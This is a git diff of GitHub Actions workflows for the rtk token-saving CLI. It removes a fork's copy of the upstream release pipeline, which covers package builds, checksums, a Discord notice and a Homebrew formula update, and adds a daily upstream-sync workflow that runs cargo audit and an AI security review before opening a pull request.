cargo-deb - run: cargo install cargo-deb - - - name: Build DEB - run: cargo deb - env: - RTK_TELEMETRY_URL: ${{ vars.RTK_TELEMETRY_URL }} - RTK_TELEMETRY_TOKEN: ${{ secrets.RTK_TELEMETRY_TOKEN }} - - - name: Upload DEB - uses: actions/upload-artifact@v4 - with: - name: rtk-deb - path: target/debian/*.deb - - build-rpm: - name: Build RPM package - runs-on: ubuntu-latest - container: fedora:latest - steps: - - name: Checkout - uses: actions/checkout@v4 - - - name: Install dependencies - run: | - dnf install -y rust cargo rpm-build - - - name: Install cargo-generate-rpm - run: cargo install cargo-generate-rpm - - - name: Build release - run: cargo build --release - env: - RTK_TELEMETRY_URL: ${{ vars.RTK_TELEMETRY_URL }} - RTK_TELEMETRY_TOKEN: ${{ secrets.RTK_TELEMETRY_TOKEN }} - - - name: Generate RPM - run: cargo generate-rpm - - - name: Upload RPM - uses: actions/upload-artifact@v4 - with: - name: rtk-rpm - path: target/generate-rpm/*.rpm - - release: - name: Create Release - needs: [build, build-deb, build-rpm] - runs-on: ubuntu-latest - steps: - - uses: actions/create-github-app-token@v3 - id: app-token - with: - client-id: ${{ secrets.APP_CLIENT_ID }} - private-key: ${{ secrets.APP_PRIVATE_KEY }} - permission-contents: write - - - name: Checkout - uses: actions/checkout@v4 - - - name: Download all artifacts - uses: actions/download-artifact@v4 - with: - path: artifacts - - - name: Get version - id: version - run: | - TAG="${{ inputs.tag }}" - if [ -z "$TAG" ]; then - TAG="${{ github.event.release.tag_name }}" - fi - echo "version=$TAG" >> $GITHUB_OUTPUT - - - name: Flatten artifacts - run: | - mkdir -p release - find artifacts -type f \( -name "*.tar.gz" -o -name "*.zip" -o -name "*.deb" -o -name "*.rpm" \) -exec cp {} release/ \; - - - name: Create version-agnostic package names - run: | - cd release - for f in *.deb; do - [ -f "$f" ] && cp "$f" "rtk_amd64.deb" - done - for f in *.rpm; do - [ -f "$f" ] && cp "$f" "rtk.x86_64.rpm" - done - - - name: Create checksums - run: | - cd release - sha256sum * > checksums.txt - - - name: Upload Release Assets - uses: softprops/action-gh-release@v2 - with: - tag_name: ${{ steps.version.outputs.version }} - files: release/* - prerelease: ${{ inputs.prerelease }} - token: ${{ steps.app-token.outputs.token }} - - notify-discord: - name: Notify Discord - needs: [release] - if: ${{ !inputs.prerelease }} - runs-on: ubuntu-latest - steps: - - name: Get version - id: version - run: | - TAG="${{ inputs.tag }}" - if [ -z "$TAG" ]; then - TAG="${{ github.event.release.tag_name }}" - fi - echo "tag=$TAG" >> $GITHUB_OUTPUT - - - name: Send Discord notification - env: - DISCORD_WEBHOOK: ${{ secrets.RTK_DISCORD_RELEASE }} - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - run: | - TAG="${{ steps.version.outputs.tag }}" - RELEASE_URL="https://github.com/rtk-ai/rtk/releases/tag/${TAG}" - - # Fetch release notes from GitHub API - NOTES=$(gh api "repos/rtk-ai/rtk/releases/tags/${TAG}" --jq '.body' 2>/dev/null | head -c 1800 || echo "") - DESC=$(echo "${NOTES:-No release notes}" | jq -Rs .) - - jq -n \ - --arg title "RTK ${TAG} released" \ - --arg url "$RELEASE_URL" \ - --argjson desc "$DESC" \ - '{embeds: [{title: $title, url: $url, description: $desc, color: 5814783, footer: {text: "Rust Token Killer"}}]}' \ - | curl -sf -H "Content-Type: application/json" -d @- "$DISCORD_WEBHOOK" - - homebrew: - name: Update Homebrew formula - needs: [release] - if: ${{ !inputs.prerelease }} - runs-on: ubuntu-latest - steps: - - name: Get version - id: version - run: | - TAG="${{ inputs.tag }}" - if [ -z "$TAG" ]; then - TAG="${{ github.event.release.tag_name }}" - fi - VERSION="${TAG#v}" - echo "tag=$TAG" >> $GITHUB_OUTPUT - echo "version=$VERSION" >> $GITHUB_OUTPUT - - - name: Download checksums - run: | - gh release download "${{ steps.version.outputs.tag }}" \ - --repo rtk-ai/rtk \ - --pattern checksums.txt - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - - - name: Parse checksums - id: sha - run: | - echo "mac_arm=$(grep aarch64-apple-darwin.tar.gz checksums.txt | head -1 | awk '{print $1}')" >> $GITHUB_OUTPUT - echo "mac_intel=$(grep x86_64-apple-darwin.tar.gz checksums.txt | head -1 | awk '{print $1}')" >> $GITHUB_OUTPUT - echo "linux_arm=$(grep aarch64-unknown-linux-gnu.tar.gz checksums.txt | head -1 | awk '{print $1}')" >> $GITHUB_OUTPUT - echo "linux_intel=$(grep x86_64-unknown-linux-musl.tar.gz checksums.txt | head -1 | awk '{print $1}')" >> $GITHUB_OUTPUT - - - name: Generate formula - run: | - cat > rtk.rb << 'FORMULA' - class Rtk < Formula - desc "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" - homepage "https://www.rtk-ai.app" - version "VERSION_PLACEHOLDER" - license "Apache 2.0" - - if OS.mac? && Hardware::CPU.arm? - url "https://github.com/rtk-ai/rtk/releases/download/TAG_PLACEHOLDER/rtk-aarch64-apple-darwin.tar.gz" - sha256 "SHA_MAC_ARM_PLACEHOLDER" - elsif OS.mac? && Hardware::CPU.intel? - url "https://github.com/rtk-ai/rtk/releases/download/TAG_PLACEHOLDER/rtk-x86_64-apple-darwin.tar.gz" - sha256 "SHA_MAC_INTEL_PLACEHOLDER" - elsif OS.linux? && Hardware::CPU.arm? - url "https://github.com/rtk-ai/rtk/releases/download/TAG_PLACEHOLDER/rtk-aarch64-unknown-linux-gnu.tar.gz" - sha256 "SHA_LINUX_ARM_PLACEHOLDER" - elsif OS.linux? && Hardware::CPU.intel? - url "https://github.com/rtk-ai/rtk/releases/download/TAG_PLACEHOLDER/rtk-x86_64-unknown-linux-musl.tar.gz" - sha256 "SHA_LINUX_INTEL_PLACEHOLDER" - end - - def install - bin.install "rtk" - end - - def caveats - <<~EOS - rtk is installed! Get started: - - # Initialize for Claude Code - rtk init -g # Global hook-first setup (recommended) - rtk init # Add to ./CLAUDE.md (this project only) - - # See all commands - rtk --help - - # Measure your token savings - rtk gain - - Full documentation: https://www.rtk-ai.app - EOS - end - - test do - system "#{bin}/rtk", "--version" - end - end - FORMULA - sed -i "s/VERSION_PLACEHOLDER/${{ steps.version.outputs.version }}/g" rtk.rb - sed -i "s/TAG_PLACEHOLDER/${{ steps.version.outputs.tag }}/g" rtk.rb - sed -i "s/SHA_MAC_ARM_PLACEHOLDER/${{ steps.sha.outputs.mac_arm }}/g" rtk.rb - sed -i "s/SHA_MAC_INTEL_PLACEHOLDER/${{ steps.sha.outputs.mac_intel }}/g" rtk.rb - sed -i "s/SHA_LINUX_ARM_PLACEHOLDER/${{ steps.sha.outputs.linux_arm }}/g" rtk.rb - sed -i "s/SHA_LINUX_INTEL_PLACEHOLDER/${{ steps.sha.outputs.linux_intel }}/g" rtk.rb - # Remove leading spaces from heredoc - sed -i 's/^ //' rtk.rb - - - name: Push to homebrew-tap - run: | - CONTENT=$(base64 -w 0 rtk.rb) - SHA=$(gh api repos/rtk-ai/homebrew-tap/contents/Formula/rtk.rb --jq '.sha' 2>/dev/null || echo "") - if [ -n "$SHA" ]; then - gh api -X PUT repos/rtk-ai/homebrew-tap/contents/Formula/rtk.rb \ - -f message="rtk ${{ steps.version.outputs.version }}" \ - -f content="$CONTENT" \ - -f sha="$SHA" - else - gh api -X PUT repos/rtk-ai/homebrew-tap/contents/Formula/rtk.rb \ - -f message="rtk ${{ steps.version.outputs.version }}" \ - -f content="$CONTENT" - fi - env: - GH_TOKEN: ${{ secrets.HOMEBREW_TAP_TOKEN }} diff --git a/.github/workflows/upstream-sync.yml b/.github/workflows/upstream-sync.yml new file mode 100644 index 0000000000..fe4bb4b6de --- /dev/null +++ b/.github/workflows/upstream-sync.yml @@ -0,0 +1,118 @@ +name: Upstream Sync + +on: + schedule: + - cron: '0 6 * * *' # 6 AM UTC daily + workflow_dispatch: + +concurrency: + group: upstream-sync + cancel-in-progress: true + +jobs: + sync: + runs-on: ubuntu-latest + permissions: + contents: write + pull-requests: write + + steps: + - uses: actions/checkout@v5 + with: + fetch-depth: 0 + token: ${{ secrets.GITHUB_TOKEN }} + + - name: Configure git + run: | + git config user.name "github-actions[bot]" + git config user.email "github-actions[bot]@users.noreply.github.com" + git remote add upstream https://github.com/rtk-ai/rtk.git || true + git fetch upstream --tags + + - name: Check for new stable release + id: check + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + TAG=$(gh api repos/rtk-ai/rtk/releases/latest --jq .tag_name) || { echo "No stable upstream release found — nothing to do."; echo "has_changes=false" >> $GITHUB_OUTPUT; exit 0; } + CURRENT="v$(grep -m1 -E '^version[[:space:]]*=' Cargo.toml | sed -E 's/.*"([^"]+)".*/\1/')" + case "$CURRENT" in + v[0-9]*.[0-9]*.[0-9]*) ;; + *) echo "Could not parse fork version from Cargo.toml (got: $CURRENT)"; exit 1 ;; + esac + echo "Latest upstream stable: ${TAG} — fork main: ${CURRENT}" + if [ "$TAG" = "$CURRENT" ]; then + echo "Fork is up to date — nothing to do." + echo "has_changes=false" >> $GITHUB_OUTPUT + else + echo "has_changes=true" >> $GITHUB_OUTPUT + echo "tag=$TAG" >> $GITHUB_OUTPUT + fi + + - name: Create or reset sync branch + if: steps.check.outputs.has_changes == 'true' + run: | + git checkout -B upstream-sync "${{ steps.check.outputs.tag }}" + # Fork owns .github entirely — drop upstream CI, restore ours + rm -rf .github + git checkout origin/main -- .github/ + git add -A .github + git diff --cached --quiet || git commit -m "ci: replace upstream CI with fork sync workflow" + git push origin upstream-sync --force + + - name: Run cargo audit + if: steps.check.outputs.has_changes == 'true' + run: | + rustup update stable + cargo install cargo-audit --locked + [ -f Cargo.lock ] || cargo generate-lockfile + set +e + cargo audit > /tmp/cargo_audit.txt 2>&1 + echo "cargo audit exit code: $?" >> /tmp/cargo_audit.txt + set -e + cat /tmp/cargo_audit.txt + + - name: Generate AI security review + if: steps.check.outputs.has_changes == 'true' + env: + ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} + BASE_REF: origin/main + HEAD_REF: ${{ steps.check.outputs.tag }} + run: python3 .github/scripts/ai_security_review.py + + - name: Open or update PR + if: steps.check.outputs.has_changes == 'true' + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + TAG="${{ steps.check.outputs.tag }}" + COMMITS=$(git log origin/main.."$TAG" --oneline -- . ':!.github' | head -50) + RELEASE_NOTES=$(gh api repos/rtk-ai/rtk/releases/latest --jq .body | head -60) + + { + printf '## Upstream Sync — %s\n\n' "$TAG" + printf '**Upstream release notes ([rtk-ai/rtk](https://github.com/rtk-ai/rtk/releases)):**\n%s\n\n' "$RELEASE_NOTES" + printf '**Commits (first 50):**\n```\n%s\n```\n\n---\n\n' "$COMMITS" + printf '## 🤖 AI Security Review\n\n' + cat /tmp/ai_review.md + printf '\n\n---\n\n## 🔒 cargo audit (RustSec)\n\n```\n' + cat /tmp/cargo_audit.txt + printf '```\n\n---\n\n' + printf '**After merging, rebuild your local binary:**\n```\ncargo install --git https://github.com/AlobarQuest/rtk --branch main --locked --force rtk\n```\n\n' + printf '*Auto-generated by upstream-sync workflow*\n' + } > /tmp/pr_body.md + + EXISTING=$(gh pr list --repo "${{ github.repository }}" --base main --head upstream-sync --json number --jq '.[0].number' 2>/dev/null) + + if [ -n "$EXISTING" ] && [ "$EXISTING" != "null" ]; then + gh pr edit "$EXISTING" --repo "${{ github.repository }}" \ + --title "⬆️ Upstream sync — ${TAG}" \ + --body-file /tmp/pr_body.md + echo "Updated existing PR #${EXISTING}" + else + gh pr create --repo "${{ github.repository }}" \ + --base main \ + --head upstream-sync \ + --title "⬆️ Upstream sync — ${TAG}" \ + --body-file /tmp/pr_body.md + fi